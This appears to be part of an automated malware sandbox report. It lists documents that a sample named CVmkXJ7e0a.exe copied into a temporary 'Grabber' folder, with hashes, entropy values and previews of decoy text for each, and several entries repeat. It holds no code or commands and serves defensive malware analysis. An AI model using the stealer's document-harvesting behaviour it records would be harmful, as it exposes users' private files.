                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PWCCAWLGRE\PIVFAGEAAV.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PWCCAWLGRE\PWCCAWLGRE.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.6969712158039245
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
                                                                                                                                                                          MD5:31CD00400A977C512B9F1AF51F2A5F90
                                                                                                                                                                          SHA1:3A6B9ED88BD73091D5685A51CB4C8870315C4A81
                                                                                                                                                                          SHA-256:E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
                                                                                                                                                                          SHA-512:0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PWCCAWLGRE\SQSJKEBWDT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.698473196318807
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
                                                                                                                                                                          MD5:4D0D308F391353530363283961DF2C54
                                                                                                                                                                          SHA1:59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
                                                                                                                                                                          SHA-256:6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
                                                                                                                                                                          SHA-512:DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\PWCCAWLGRE\SUAVTZKNFL.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\SQSJKEBWDT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.698473196318807
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
                                                                                                                                                                          MD5:4D0D308F391353530363283961DF2C54
                                                                                                                                                                          SHA1:59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
                                                                                                                                                                          SHA-256:6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
                                                                                                                                                                          SHA-512:DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\SUAVTZKNFL.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\SUAVTZKNFL.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\SUAVTZKNFL\BJZFPPWAPT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.704346314649071
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
                                                                                                                                                                          MD5:8B66CD8FCBCEB253D75DB5CDE6291FA2
                                                                                                                                                                          SHA1:6CE0386190B9753849299B268AA7B8D15F9F72E2
                                                                                                                                                                          SHA-256:51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
                                                                                                                                                                          SHA-512:7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\SUAVTZKNFL\BNAGMGSPLO.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
